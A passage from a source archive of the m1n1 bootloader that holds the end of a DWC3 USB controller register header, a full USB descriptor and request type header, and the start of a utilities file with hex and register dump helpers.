DWC3_DEVICE_EVENT_ERRATIC_ERROR 9 #define DWC3_DEVICE_EVENT_CMD_CMPL 10 #define DWC3_DEVICE_EVENT_OVERFLOW 11 #define DWC3_GEVNTCOUNT_MASK 0xfffc #define DWC3_GSNPSID_MASK 0xffff0000 #define DWC3_GSNPSREV_MASK 0xffff /* DWC3 registers memory space boundaries */ #define DWC3_XHCI_REGS_START 0x0 #define DWC3_XHCI_REGS_END 0x7fff #define DWC3_GLOBALS_REGS_START 0xc100 #define DWC3_GLOBALS_REGS_END 0xc6ff #define DWC3_DEVICE_REGS_START 0xc700 #define DWC3_DEVICE_REGS_END 0xcbff #define DWC3_OTG_REGS_START 0xcc00 #define DWC3_OTG_REGS_END 0xccff /* Global Registers */ #define DWC3_GSBUSCFG0 0xc100 #define DWC3_GSBUSCFG1 0xc104 #define DWC3_GTXTHRCFG 0xc108 #define DWC3_GRXTHRCFG 0xc10c #define DWC3_GCTL 0xc110 #define DWC3_GEVTEN 0xc114 #define DWC3_GSTS 0xc118 #define DWC3_GSNPSID 0xc120 #define DWC3_GGPIO 0xc124 #define DWC3_GUID 0xc128 #define DWC3_GUCTL 0xc12c #define DWC3_GBUSERRADDR0 0xc130 #define DWC3_GBUSERRADDR1 0xc134 #define DWC3_GPRTBIMAP0 0xc138 #define DWC3_GPRTBIMAP1 0xc13c #define DWC3_GHWPARAMS0 0xc140 #define DWC3_GHWPARAMS1 0xc144 #define DWC3_GHWPARAMS2 0xc148 #define DWC3_GHWPARAMS3 0xc14c #define DWC3_GHWPARAMS4 0xc150 #define DWC3_GHWPARAMS5 0xc154 #define DWC3_GHWPARAMS6 0xc158 #define DWC3_GHWPARAMS7 0xc15c #define DWC3_GDBGFIFOSPACE 0xc160 #define DWC3_GDBGLTSSM 0xc164 #define DWC3_GPRTBIMAP_HS0 0xc180 #define DWC3_GPRTBIMAP_HS1 0xc184 #define DWC3_GPRTBIMAP_FS0 0xc188 #define DWC3_GPRTBIMAP_FS1 0xc18c #define DWC3_GUSB2PHYCFG(n) (0xc200 + (n * 0x04)) #define DWC3_GUSB2I2CCTL(n) (0xc240 + (n * 0x04)) #define DWC3_GUSB2PHYACC(n) (0xc280 + (n * 0x04)) #define DWC3_GUSB3PIPECTL(n) (0xc2c0 + (n * 0x04)) #define DWC3_GTXFIFOSIZ(n) (0xc300 + (n * 0x04)) #define DWC3_GRXFIFOSIZ(n) (0xc380 + (n * 0x04)) #define DWC3_GEVNTADRLO(n) (0xc400 + (n * 0x10)) #define DWC3_GEVNTADRHI(n) (0xc404 + (n * 0x10)) #define DWC3_GEVNTSIZ(n) (0xc408 + (n * 0x10)) #define DWC3_GEVNTCOUNT(n) (0xc40c + (n * 0x10)) #define DWC3_GHWPARAMS8 0xc600 /* Device Registers */ #define DWC3_DCFG 0xc700 #define DWC3_DCTL 0xc704 #define DWC3_DEVTEN 0xc708 #define DWC3_DSTS 0xc70c #define DWC3_DGCMDPAR 0xc710 #define DWC3_DGCMD 0xc714 #define DWC3_DALEPENA 0xc720 #define DWC3_DEPCMDPAR2(n) (0xc800 + (n * 0x10)) #define DWC3_DEPCMDPAR1(n) (0xc804 + (n * 0x10)) #define DWC3_DEPCMDPAR0(n) (0xc808 + (n * 0x10)) #define DWC3_DEPCMD(n) (0xc80c + (n * 0x10)) /* OTG Registers */ #define DWC3_OCFG 0xcc00 #define DWC3_OCTL 0xcc04 #define DWC3_OEVT 0xcc08 #define DWC3_OEVTEN 0xcc0C #define DWC3_OSTS 0xcc10 /* Bit fields */ /* Global Configuration Register */ #define DWC3_GCTL_PWRDNSCALE(n) ((n) << 19) #define DWC3_GCTL_U2RSTECN (1 << 16) #define DWC3_GCTL_RAMCLKSEL(x) (((x)&DWC3_GCTL_CLK_MASK) << 6) #define DWC3_GCTL_CLK_BUS (0) #define DWC3_GCTL_CLK_PIPE (1) #define DWC3_GCTL_CLK_PIPEHALF (2) #define DWC3_GCTL_CLK_MASK (3) #define DWC3_GCTL_PRTCAP(n) (((n) & (3 << 12)) >> 12) #define DWC3_GCTL_PRTCAPDIR(n) ((n) << 12) #define DWC3_GCTL_PRTCAP_HOST 1 #define DWC3_GCTL_PRTCAP_DEVICE 2 #define DWC3_GCTL_PRTCAP_OTG 3 #define DWC3_GCTL_CORESOFTRESET (1 << 11) #define DWC3_GCTL_SCALEDOWN(n) ((n) << 4) #define DWC3_GCTL_SCALEDOWN_MASK DWC3_GCTL_SCALEDOWN(3) #define DWC3_GCTL_DISSCRAMBLE (1 << 3) #define DWC3_GCTL_GBLHIBERNATIONEN (1 << 1) #define DWC3_GCTL_DSBLCLKGTNG (1 << 0) /* Global USB2 PHY Configuration Register */ #define DWC3_GUSB2PHYCFG_PHYSOFTRST (1 << 31) #define DWC3_GUSB2PHYCFG_SUSPHY (1 << 6) /* Global USB3 PIPE Control Register */ #define DWC3_GUSB3PIPECTL_PHYSOFTRST (1 << 31) #define DWC3_GUSB3PIPECTL_SUSPHY (1 << 17) /* Global TX Fifo Size Register */ #define DWC3_GTXFIFOSIZ_TXFDEF(n) ((n)&0xffff) #define DWC3_GTXFIFOSIZ_TXFSTADDR(n) ((n)&0xffff0000) /* Global HWPARAMS1 Register */ #define DWC3_GHWPARAMS1_EN_PWROPT(n) (((n) & (3 << 24)) >> 24) #define DWC3_GHWPARAMS1_EN_PWROPT_NO 0 #define DWC3_GHWPARAMS1_EN_PWROPT_CLK 1 #define DWC3_GHWPARAMS1_EN_PWROPT_HIB 2 #define DWC3_GHWPARAMS1_PWROPT(n) ((n) << 24) #define DWC3_GHWPARAMS1_PWROPT_MASK DWC3_GHWPARAMS1_PWROPT(3) /* Global HWPARAMS4 Register */ #define DWC3_GHWPARAMS4_HIBER_SCRATCHBUFS(n) (((n) & (0x0f << 13)) >> 13) #define DWC3_MAX_HIBER_SCRATCHBUFS 15 /* Device Configuration Register */ #define DWC3_DCFG_LPM_CAP (1 << 22) #define DWC3_DCFG_DEVADDR(addr) ((addr) << 3) #define DWC3_DCFG_DEVADDR_MASK DWC3_DCFG_DEVADDR(0x7f) #define DWC3_DCFG_SPEED_MASK (7 << 0) #define DWC3_DCFG_SUPERSPEED (4 << 0) #define DWC3_DCFG_HIGHSPEED (0 << 0) #define DWC3_DCFG_FULLSPEED2 (1 << 0) #define DWC3_DCFG_LOWSPEED (2 << 0) #define DWC3_DCFG_FULLSPEED1 (3 << 0) #define DWC3_DCFG_LPM_CAP (1 << 22) /* Device Control Register */ #define DWC3_DCTL_RUN_STOP (1 << 31) #define DWC3_DCTL_CSFTRST (1 << 30) #define DWC3_DCTL_LSFTRST (1 << 29) #define DWC3_DCTL_HIRD_THRES_MASK (0x1f << 24) #define DWC3_DCTL_HIRD_THRES(n) ((n) << 24) #define DWC3_DCTL_APPL1RES (1 << 23) /* These apply for core versions 1.87a and earlier */ #define DWC3_DCTL_TRGTULST_MASK (0x0f << 17) #define DWC3_DCTL_TRGTULST(n) ((n) << 17) #define DWC3_DCTL_TRGTULST_U2 (DWC3_DCTL_TRGTULST(2)) #define DWC3_DCTL_TRGTULST_U3 (DWC3_DCTL_TRGTULST(3)) #define DWC3_DCTL_TRGTULST_SS_DIS (DWC3_DCTL_TRGTULST(4)) #define DWC3_DCTL_TRGTULST_RX_DET (DWC3_DCTL_TRGTULST(5)) #define DWC3_DCTL_TRGTULST_SS_INACT (DWC3_DCTL_TRGTULST(6)) /* These apply for core versions 1.94a and later */ #define DWC3_DCTL_KEEP_CONNECT (1 << 19) #define DWC3_DCTL_L1_HIBER_EN (1 << 18) #define DWC3_DCTL_CRS (1 << 17) #define DWC3_DCTL_CSS (1 << 16) #define DWC3_DCTL_INITU2ENA (1 << 12) #define DWC3_DCTL_ACCEPTU2ENA (1 << 11) #define DWC3_DCTL_INITU1ENA (1 << 10) #define DWC3_DCTL_ACCEPTU1ENA (1 << 9) #define DWC3_DCTL_TSTCTRL_MASK (0xf << 1) #define DWC3_DCTL_ULSTCHNGREQ_MASK (0x0f << 5) #define DWC3_DCTL_ULSTCHNGREQ(n) (((n) << 5) & DWC3_DCTL_ULSTCHNGREQ_MASK) #define DWC3_DCTL_ULSTCHNG_NO_ACTION (DWC3_DCTL_ULSTCHNGREQ(0)) #define DWC3_DCTL_ULSTCHNG_SS_DISABLED (DWC3_DCTL_ULSTCHNGREQ(4)) #define DWC3_DCTL_ULSTCHNG_RX_DETECT (DWC3_DCTL_ULSTCHNGREQ(5)) #define DWC3_DCTL_ULSTCHNG_SS_INACTIVE (DWC3_DCTL_ULSTCHNGREQ(6)) #define DWC3_DCTL_ULSTCHNG_RECOVERY (DWC3_DCTL_ULSTCHNGREQ(8)) #define DWC3_DCTL_ULSTCHNG_COMPLIANCE (DWC3_DCTL_ULSTCHNGREQ(10)) #define DWC3_DCTL_ULSTCHNG_LOOPBACK (DWC3_DCTL_ULSTCHNGREQ(11)) /* Device Event Enable Register */ #define DWC3_DEVTEN_VNDRDEVTSTRCVEDEN (1 << 12) #define DWC3_DEVTEN_EVNTOVERFLOWEN (1 << 11) #define DWC3_DEVTEN_CMDCMPLTEN (1 << 10) #define DWC3_DEVTEN_ERRTICERREN (1 << 9) #define DWC3_DEVTEN_SOFEN (1 << 7) #define DWC3_DEVTEN_EOPFEN (1 << 6) #define DWC3_DEVTEN_HIBERNATIONREQEVTEN (1 << 5) #define DWC3_DEVTEN_WKUPEVTEN (1 << 4) #define DWC3_DEVTEN_ULSTCNGEN (1 << 3) #define DWC3_DEVTEN_CONNECTDONEEN (1 << 2) #define DWC3_DEVTEN_USBRSTEN (1 << 1) #define DWC3_DEVTEN_DISCONNEVTEN (1 << 0) /* Device Status Register */ #define DWC3_DSTS_DCNRD (1 << 29) /* This applies for core versions 1.87a and earlier */ #define DWC3_DSTS_PWRUPREQ (1 << 24) /* These apply for core versions 1.94a and later */ #define DWC3_DSTS_RSS (1 << 25) #define DWC3_DSTS_SSS (1 << 24) #define DWC3_DSTS_COREIDLE (1 << 23) #define DWC3_DSTS_DEVCTRLHLT (1 << 22) #define DWC3_DSTS_USBLNKST_MASK (0x0f << 18) #define DWC3_DSTS_USBLNKST(n) (((n)&DWC3_DSTS_USBLNKST_MASK) >> 18) #define DWC3_DSTS_RXFIFOEMPTY (1 << 17) #define DWC3_DSTS_SOFFN_MASK (0x3fff << 3) #define DWC3_DSTS_SOFFN(n) (((n)&DWC3_DSTS_SOFFN_MASK) >> 3) #define DWC3_DSTS_CONNECTSPD (7 << 0) #define DWC3_DSTS_SUPERSPEED (4 << 0) #define DWC3_DSTS_HIGHSPEED (0 << 0) #define DWC3_DSTS_FULLSPEED2 (1 << 0) #define DWC3_DSTS_LOWSPEED (2 << 0) #define DWC3_DSTS_FULLSPEED1 (3 << 0) /* Device Generic Command Register */ #define DWC3_DGCMD_SET_LMP 0x01 #define DWC3_DGCMD_SET_PERIODIC_PAR 0x02 #define DWC3_DGCMD_XMIT_FUNCTION 0x03 /* These apply for core versions 1.94a and later */ #define DWC3_DGCMD_SET_SCRATCHPAD_ADDR_LO 0x04 #define DWC3_DGCMD_SET_SCRATCHPAD_ADDR_HI 0x05 #define DWC3_DGCMD_SELECTED_FIFO_FLUSH 0x09 #define DWC3_DGCMD_ALL_FIFO_FLUSH 0x0a #define DWC3_DGCMD_SET_ENDPOINT_NRDY 0x0c #define DWC3_DGCMD_RUN_SOC_BUS_LOOPBACK 0x10 #define DWC3_DGCMD_STATUS(n) (((n) >> 15) & 1) #define DWC3_DGCMD_CMDACT (1 << 10) #define DWC3_DGCMD_CMDIOC (1 << 8) /* Device Generic Command Parameter Register */ #define DWC3_DGCMDPAR_FORCE_LINKPM_ACCEPT (1 << 0) #define DWC3_DGCMDPAR_FIFO_NUM(n) ((n) << 0) #define DWC3_DGCMDPAR_RX_FIFO (0 << 5) #define DWC3_DGCMDPAR_TX_FIFO (1 << 5) #define DWC3_DGCMDPAR_LOOPBACK_DIS (0 << 0) #define DWC3_DGCMDPAR_LOOPBACK_ENA (1 << 0) /* Device Endpoint Command Register */ #define DWC3_DEPCMD_PARAM_SHIFT 16 #define DWC3_DEPCMD_PARAM(x) ((x) << DWC3_DEPCMD_PARAM_SHIFT) #define DWC3_DEPCMD_GET_RSC_IDX(x) (((x) >> DWC3_DEPCMD_PARAM_SHIFT) & 0x7f) #define DWC3_DEPCMD_STATUS(x) (((x) >> 15) & 1) #define DWC3_DEPCMD_HIPRI_FORCERM (1 << 11) #define DWC3_DEPCMD_CMDACT (1 << 10) #define DWC3_DEPCMD_CMDIOC (1 << 8) #define DWC3_DEPCMD_DEPSTARTCFG (0x09 << 0) #define DWC3_DEPCMD_ENDTRANSFER (0x08 << 0) #define DWC3_DEPCMD_UPDATETRANSFER (0x07 << 0) #define DWC3_DEPCMD_STARTTRANSFER (0x06 << 0) #define DWC3_DEPCMD_CLEARSTALL (0x05 << 0) #define DWC3_DEPCMD_SETSTALL (0x04 << 0) /* This applies for core versions 1.90a and earlier */ #define DWC3_DEPCMD_GETSEQNUMBER (0x03 << 0) /* This applies for core versions 1.94a and later */ #define DWC3_DEPCMD_GETEPSTATE (0x03 << 0) #define DWC3_DEPCMD_SETTRANSFRESOURCE (0x02 << 0) #define DWC3_DEPCMD_SETEPCONFIG (0x01 << 0) /* The EP number goes 0..31 so ep0 is always out and ep1 is always in */ #define DWC3_DALEPENA_EP(n) (1 << n) #define DWC3_DEPCMD_TYPE_CONTROL 0 #define DWC3_DEPCMD_TYPE_ISOC 1 #define DWC3_DEPCMD_TYPE_BULK 2 #define DWC3_DEPCMD_TYPE_INTR 3 #define DWC3_EVENT_PENDING BIT(0) #define DWC3_EP_FLAG_STALLED (1 << 0) #define DWC3_EP_FLAG_WEDGED (1 << 1) #define DWC3_EP_DIRECTION_TX true #define DWC3_EP_DIRECTION_RX false #define DWC3_TRB_NUM 32 #define DWC3_TRB_MASK (DWC3_TRB_NUM - 1) #define DWC3_EP_ENABLED (1 << 0) #define DWC3_EP_STALL (1 << 1) #define DWC3_EP_WEDGE (1 << 2) #define DWC3_EP_BUSY (1 << 4) #define DWC3_EP_PENDING_REQUEST (1 << 5) #define DWC3_EP_MISSED_ISOC (1 << 6) /* This last one is specific to EP0 */ #define DWC3_EP0_DIR_IN (1 << 31) enum dwc3_link_state { /* In SuperSpeed */ DWC3_LINK_STATE_U0 = 0x00, /* in HS, means ON */ DWC3_LINK_STATE_U1 = 0x01, DWC3_LINK_STATE_U2 = 0x02, /* in HS, means SLEEP */ DWC3_LINK_STATE_U3 = 0x03, /* in HS, means SUSPEND */ DWC3_LINK_STATE_SS_DIS = 0x04, DWC3_LINK_STATE_RX_DET = 0x05, /* in HS, means Early Suspend */ DWC3_LINK_STATE_SS_INACT = 0x06, DWC3_LINK_STATE_POLL = 0x07, DWC3_LINK_STATE_RECOV = 0x08, DWC3_LINK_STATE_HRESET = 0x09, DWC3_LINK_STATE_CMPLY = 0x0a, DWC3_LINK_STATE_LPBK = 0x0b, DWC3_LINK_STATE_RESET = 0x0e, DWC3_LINK_STATE_RESUME = 0x0f, DWC3_LINK_STATE_MASK = 0x0f, }; /* TRB Length, PCM and Status */ #define DWC3_TRB_SIZE_MASK (0x00ffffff) #define DWC3_TRB_SIZE_LENGTH(n) ((n)&DWC3_TRB_SIZE_MASK) #define DWC3_TRB_SIZE_PCM1(n) (((n)&0x03) << 24) #define DWC3_TRB_SIZE_TRBSTS(n) (((n) & (0x0f << 28)) >> 28) #define DWC3_TRBSTS_OK 0 #define DWC3_TRBSTS_MISSED_ISOC 1 #define DWC3_TRBSTS_SETUP_PENDING 2 #define DWC3_TRB_STS_XFER_IN_PROG 4 /* TRB Control */ #define DWC3_TRB_CTRL_HWO (1 << 0) #define DWC3_TRB_CTRL_LST (1 << 1) #define DWC3_TRB_CTRL_CHN (1 << 2) #define DWC3_TRB_CTRL_CSP (1 << 3) #define DWC3_TRB_CTRL_TRBCTL(n) (((n)&0x3f) << 4) #define DWC3_TRB_CTRL_ISP_IMI (1 << 10) #define DWC3_TRB_CTRL_IOC (1 << 11) #define DWC3_TRB_CTRL_SID_SOFN(n) (((n)&0xffff) << 14) #define DWC3_TRBCTL_NORMAL DWC3_TRB_CTRL_TRBCTL(1) #define DWC3_TRBCTL_CONTROL_SETUP DWC3_TRB_CTRL_TRBCTL(2) #define DWC3_TRBCTL_CONTROL_STATUS2 DWC3_TRB_CTRL_TRBCTL(3) #define DWC3_TRBCTL_CONTROL_STATUS3 DWC3_TRB_CTRL_TRBCTL(4) #define DWC3_TRBCTL_CONTROL_DATA DWC3_TRB_CTRL_TRBCTL(5) #define DWC3_TRBCTL_ISOCHRONOUS_FIRST DWC3_TRB_CTRL_TRBCTL(6) #define DWC3_TRBCTL_ISOCHRONOUS DWC3_TRB_CTRL_TRBCTL(7) #define DWC3_TRBCTL_LINK_TRB DWC3_TRB_CTRL_TRBCTL(8) /** * struct dwc3_trb - transfer request block (hw format) * @bpl: DW0-3 * @bph: DW4-7 * @size: DW8-B * @trl: DWC-F */ struct dwc3_trb { u32 bpl; u32 bph; u32 size; u32 ctrl; } PACKED; /* HWPARAMS0 */ #define DWC3_MODE(n) ((n)&0x7) #define DWC3_MODE_DEVICE 0 #define DWC3_MODE_HOST 1 #define DWC3_MODE_DRD 2 #define DWC3_MODE_HUB 3 #define DWC3_MDWIDTH(n) (((n)&0xff00) >> 8) /* HWPARAMS1 */ #define DWC3_NUM_INT(n) (((n) & (0x3f << 15)) >> 15) /* HWPARAMS3 */ #define DWC3_NUM_IN_EPS_MASK (0x1f << 18) #define DWC3_NUM_EPS_MASK (0x3f << 12) #define DWC3_NUM_EPS(p) (((p)->hwparams3 & (DWC3_NUM_EPS_MASK)) >> 12) #define DWC3_NUM_IN_EPS(p) (((p)->hwparams3 & (DWC3_NUM_IN_EPS_MASK)) >> 18) /* HWPARAMS7 */ #define DWC3_RAM1_DEPTH(n) ((n)&0xffff) #define DWC3_REVISION_173A 0x5533173a #define DWC3_REVISION_175A 0x5533175a #define DWC3_REVISION_180A 0x5533180a #define DWC3_REVISION_183A 0x5533183a #define DWC3_REVISION_185A 0x5533185a #define DWC3_REVISION_187A 0x5533187a #define DWC3_REVISION_188A 0x5533188a #define DWC3_REVISION_190A 0x5533190a #define DWC3_REVISION_194A 0x5533194a #define DWC3_REVISION_200A 0x5533200a #define DWC3_REVISION_202A 0x5533202a #define DWC3_REVISION_210A 0x5533210a #define DWC3_REVISION_220A 0x5533220a #define DWC3_REVISION_230A 0x5533230a #define DWC3_REVISION_240A 0x5533240a #define DWC3_REVISION_250A 0x5533250a /* -------------------------------------------------------------------------- */ /* -------------------------------------------------------------------------- */ struct dwc3_event_type { u32 is_devspec : 1; u32 type : 7; u32 reserved8_31 : 24; } PACKED; #define DWC3_DEPEVT_XFERCOMPLETE 0x01 #define DWC3_DEPEVT_XFERINPROGRESS 0x02 #define DWC3_DEPEVT_XFERNOTREADY 0x03 #define DWC3_DEPEVT_RXTXFIFOEVT 0x04 #define DWC3_DEPEVT_STREAMEVT 0x06 #define DWC3_DEPEVT_EPCMDCMPLT 0x07 /** * struct dwc3_event_depvt - Device Endpoint Events * @one_bit: indicates this is an endpoint event (not used) * @endpoint_number: number of the endpoint * @endpoint_event: The event we have: * 0x00 - Reserved * 0x01 - XferComplete * 0x02 - XferInProgress * 0x03 - XferNotReady * 0x04 - RxTxFifoEvt (IN->Underrun, OUT->Overrun) * 0x05 - Reserved * 0x06 - StreamEvt * 0x07 - EPCmdCmplt * @reserved11_10: Reserved, don't use. * @status: Indicates the status of the event. Refer to databook for * more information. * @parameters: Parameters of the current event. Refer to databook for * more information. */ struct dwc3_event_depevt { u32 one_bit : 1; u32 endpoint_number : 5; u32 endpoint_event : 4; u32 reserved11_10 : 2; u32 status : 4; /* Within XferNotReady */ #define DEPEVT_STATUS_TRANSFER_ACTIVE (1 << 3) /* Within XferComplete */ #define DEPEVT_STATUS_BUSERR (1 << 0) #define DEPEVT_STATUS_SHORT (1 << 1) #define DEPEVT_STATUS_IOC (1 << 2) #define DEPEVT_STATUS_LST (1 << 3) /* Stream event only */ #define DEPEVT_STREAMEVT_FOUND 1 #define DEPEVT_STREAMEVT_NOTFOUND 2 /* Control-only Status */ #define DEPEVT_STATUS_CONTROL_DATA 1 #define DEPEVT_STATUS_CONTROL_STATUS 2 u32 parameters : 16; } PACKED; #define DWC3_DEVT_DISCONN 0x00 #define DWC3_DEVT_USBRST 0x01 #define DWC3_DEVT_CONNECTDONE 0x02 #define DWC3_DEVT_ULSTCHNG 0x03 #define DWC3_DEVT_WKUPEVT 0x04 #define DWC3_DEVT_EOPF 0x06 #define DWC3_DEVT_SOF 0x07 #define DWC3_DEVT_ERRTICERR 0x09 #define DWC3_DEVT_CMDCMPLT 0x0a #define DWC3_DEVT_EVNTOVERFLOW 0x0b #define DWC3_DEVT_VNDRDEVTSTRCVED 0x0c /** * struct dwc3_event_devt - Device Events * @one_bit: indicates this is a non-endpoint event (not used) * @device_event: indicates it's a device event. Should read as 0x00 * @type: indicates the type of device event. * 0 - DisconnEvt * 1 - USBRst * 2 - ConnectDone * 3 - ULStChng * 4 - WkUpEvt * 5 - Reserved * 6 - EOPF * 7 - SOF * 8 - Reserved * 9 - ErrticErr * 10 - CmdCmplt * 11 - EvntOverflow * 12 - VndrDevTstRcved * @reserved15_12: Reserved, not used * @event_info: Information about this event * @reserved31_24: Reserved, not used */ struct dwc3_event_devt { u32 one_bit : 1; u32 device_event : 7; u32 type : 4; u32 reserved15_12 : 4; u32 event_info : 8; u32 reserved31_24 : 8; } PACKED; /** * struct dwc3_event_gevt - Other Core Events * @one_bit: indicates this is a non-endpoint event (not used) * @device_event: indicates it's (0x03) Carkit or (0x04) I2C event. * @phy_port_number: self-explanatory * @reserved31_12: Reserved, not used. */ struct dwc3_event_gevt { u32 one_bit : 1; u32 device_event : 7; u32 phy_port_number : 4; u32 reserved31_12 : 20; } PACKED; union dwc3_event { u32 raw; struct dwc3_event_type type; struct dwc3_event_depevt depevt; struct dwc3_event_devt devt; struct dwc3_event_gevt gevt; }; #define DWC3_DEPCFG_EP_TYPE(n) (((n)&0x3) << 1) #define DWC3_DEPCFG_EP_NUMBER(n) (((n)&0x1f) << 25) #define DWC3_DEPCFG_FIFO_NUMBER(n) (((n)&0xf) << 17) #define DWC3_DEPCFG_MAX_PACKET_SIZE(n) (((n)&0x7ff) << 3) #define DWC3_DEPCFG_INT_NUM(n) (((n)&0x1f) << 0) #define DWC3_DEPCFG_XFER_COMPLETE_EN BIT(8) #define DWC3_DEPCFG_XFER_IN_PROGRESS_EN BIT(9) #define DWC3_DEPCFG_XFER_NOT_READY_EN BIT(10) #define DWC3_DEPCFG_FIFO_ERROR_EN BIT(11) #define DWC3_DEPCFG_STREAM_EVENT_EN BIT(13) #define DWC3_DEPCFG_BINTERVAL_M1(n) (((n)&0xff) << 16) #define DWC3_DEPCFG_STREAM_CAPABLE BIT(24) #define DWC3_DEPCFG_EP_NUMBER(n) (((n)&0x1f) << 25) #define DWC3_DEPCFG_BULK_BASED BIT(30) #define DWC3_DEPCFG_FIFO_BASED BIT(31) #endif /* __DRIVERS_USB_DWC3_CORE_H */ m1n1-1.4.11/src/usb_types.h000066400000000000000000000127751453754430200153520ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef USB_TYPES_H #define USB_TYPES_H #include "types.h" #define USB_REQUEST_TYPE_DIRECTION_SHIFT 7 #define USB_REQUEST_TYPE_DIRECTION(d) ((d) << USB_REQUEST_TYPE_DIRECTION_SHIFT) #define USB_REQUEST_TYPE_DIRECTION_HOST2DEVICE 0 #define USB_REQUEST_TYPE_DIRECTION_DEVICE2HOST 1 #define USB_REQUEST_TYPE_SHIFT 5 #define USB_REQUEST_TYPE(t) ((t) << USB_REQUEST_TYPE_SHIFT) #define USB_REQUEST_TYPE_STANDARD USB_REQUEST_TYPE(0b00) #define USB_REQUEST_TYPE_CLASS USB_REQUEST_TYPE(0b01) #define USB_REQUEST_TYPE_VENDOR USB_REQUEST_TYPE(0b10) #define USB_REQUEST_TYPE_MASK USB_REQUEST_TYPE(0b11) #define USB_REQUEST_TYPE_RECIPIENT_DEVICE 0 #define USB_REQUEST_TYPE_RECIPIENT_INTERFACE 1 #define USB_REQUEST_TYPE_RECIPIENT_ENDPOINT 2 #define USB_REQUEST_TYPE_RECIPIENT_OTHER 3 #define USB_REQUEST_TYPE_RECIPIENT_MASK 0b11 #define USB_REQUEST_GET_STATUS 0x00 #define USB_REQUEST_CLEAR_FEATURE 0x01 #define USB_REQUEST_SET_FEATURE 0x03 #define USB_REQUEST_SET_ADDRESS 0x05 #define USB_REQUEST_GET_DESCRIPTOR 0x06 #define USB_REQUEST_SET_DESCRIPTOR 0x07 #define USB_REQUEST_GET_CONFIGURATION 0x08 #define USB_REQUEST_SET_CONFIGURATION 0x09 #define USB_EP_REQUEST_CLEAR_FEATURE 0x01 #define USB_EP_REQUEST_SET_FEATURE 0x03 #define USB_FEATURE_ENDPOINT_HALT 0x00 #define USB_REQUEST_CDC_SET_LINE_CODING 0x20 #define USB_REQUEST_CDC_GET_LINE_CODING 0x21 #define USB_REQUEST_CDC_SET_CTRL_LINE_STATE 0x22 struct usb_setup_packet_raw { u8 bmRequestType; u8 bRequest; u16 wValue; u16 wIndex; u16 wLength; } PACKED; struct usb_setup_packet_get_descriptor { u8 bmRequestType; u8 bRequest; u8 index; u8 type; u16 language; u16 wLength; } PACKED; struct usb_set_packet_set_address { u8 bmRequestType; u8 bRequest; u16 address; u16 zero0; u16 zero1; } PACKED; struct usb_set_packet_set_configuration { u8 bmRequestType; u8 bRequest; u16 configuration; u16 zero0; u16 zero1; } PACKED; struct usb_setup_packet_feature { u8 bmRequestType; u8 bRequest; u16 wFeatureSelector; u16 wEndpoint; u16 wLength; } PACKED; union usb_setup_packet { struct usb_setup_packet_raw raw; struct usb_setup_packet_get_descriptor get_descriptor; struct usb_set_packet_set_address set_address; struct usb_set_packet_set_configuration set_configuration; struct usb_setup_packet_feature feature; }; #define USB_DEVICE_DESCRIPTOR 0x01 #define USB_CONFIGURATION_DESCRIPTOR 0x02 #define USB_STRING_DESCRIPTOR 0x03 #define USB_INTERFACE_DESCRIPTOR 0x04 #define USB_ENDPOINT_DESCRIPTOR 0x05 #define USB_DEVICE_QUALIFIER_DESCRIPTOR 0x06 #define USB_OTHER_SPEED_CONFIGURATION_DESCRIPTOR 0x07 #define USB_CDC_INTERFACE_FUNCTIONAL_DESCRIPTOR 0x24 #define USB_CDC_UNION_SUBTYPE 0x06 #define USB_CONFIGURATION_SELF_POWERED 0x40 #define USB_CONFIGURATION_ATTRIBUTE_RES1 0x80 #define USB_ENDPOINT_ADDR_IN(ep) (0x80 | (ep)) #define USB_ENDPOINT_ADDR_OUT(ep) (0x00 | (ep)) #define USB_ENDPOINT_ATTR_TYPE_CONTROL 0b00 #define USB_ENDPOINT_ATTR_TYPE_ISOCHRONOUS 0b01 #define USB_ENDPOINT_ATTR_TYPE_BULK 0b10 #define USB_ENDPOINT_ATTR_TYPE_INTERRUPT 0b11 #define USB_LANGID_EN_US 0x0409 struct usb_device_descriptor { u8 bLength; u8 bDescriptorType; u16 bcdUSB; u8 bDeviceClass; u8 bDeviceSubClass; u8 bDeviceProtocol; u8 bMaxPacketSize0; u16 idVendor; u16 idProduct; u16 bcdDevice; u8 iManufacturer; u8 iProduct; u8 iSerialNumber; u8 bNumConfigurations; } PACKED; struct usb_configuration_descriptor { u8 bLength; u8 bDescriptorType; u16 wTotalLength; u8 bNumInterfaces; u8 bConfigurationValue; u8 iConfiguration; u8 bmAttributes; u8 bMaxPower; } PACKED; struct usb_interface_descriptor { u8 bLength; u8 bDescriptorType; u8 bInterfaceNumber; u8 bAlternateSetting; u8 bNumEndpoints; u8 bInterfaceClass; u8 bInterfaceSubClass; u8 bInterfaceProtocol; u8 iInterface; } PACKED; struct usb_endpoint_descriptor { u8 bLength; u8 bDescriptorType; u8 bEndpointAddress; u8 bmAttributes; u16 wMaxPacketSize; u8 bInterval; } PACKED; struct usb_string_descriptor { u8 bLength; u8 bDescriptorType; u16 bString[]; } PACKED; struct usb_string_descriptor_languages { u8 bLength; u8 bDescriptorType; u16 wLANGID[]; } PACKED; struct cdc_union_functional_descriptor { u8 bFunctionLength; u8 bDescriptorType; u8 bDescriptorSubtype; u8 bControlInterface; u8 bDataInterface; } PACKED; struct usb_device_qualifier_descriptor { u8 bLength; u8 bDescriptorType; u16 bcdUSB; u8 bDeviceClass; u8 bDeviceSubClass; u8 bDeviceProtocol; u8 bMaxPacketSize0; u8 bNumConfigurations; u8 bReserved; } PACKED; /* * this macro is required because we need to convert any string literals * to UTF16 and because we need to calculate the correct total size of the * string descriptor. */ #define make_usb_string_descriptor(str) \ { \ .bLength = sizeof(struct usb_string_descriptor) + sizeof(u##str) - 2, \ .bDescriptorType = USB_STRING_DESCRIPTOR, .bString = u##str \ } #endif m1n1-1.4.11/src/utils.c000066400000000000000000000107341453754430200144610ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include #include #include "utils.h" #include "iodev.h" #include "smp.h" #include "types.h" #include "vsprintf.h" #include "xnuboot.h" static char ascii(char s) { if (s < 0x20) return '.'; if (s > 0x7E) return '.'; return s; } void hexdump(const void *d, size_t len) { u8 *data; size_t i, off; data = (u8 *)d; for (off = 0; off < len; off += 16) { printf("%08lx ", off); for (i = 0; i < 16; i++) { if ((i + off) >= len) printf(" "); else printf("%02x ", data[off + i]); } printf(" "); for (i = 0; i < 16; i++) { if ((i + off) >= len) printf(" "); else printf("%c", ascii(data[off + i])); } printf("\n"); } } void regdump(u64 addr, size_t len) { u64 i, off; for (off = 0; off < len; off += 32) { printf("%016lx ", addr + off); for (i = 0; i < 32; i += 4) { 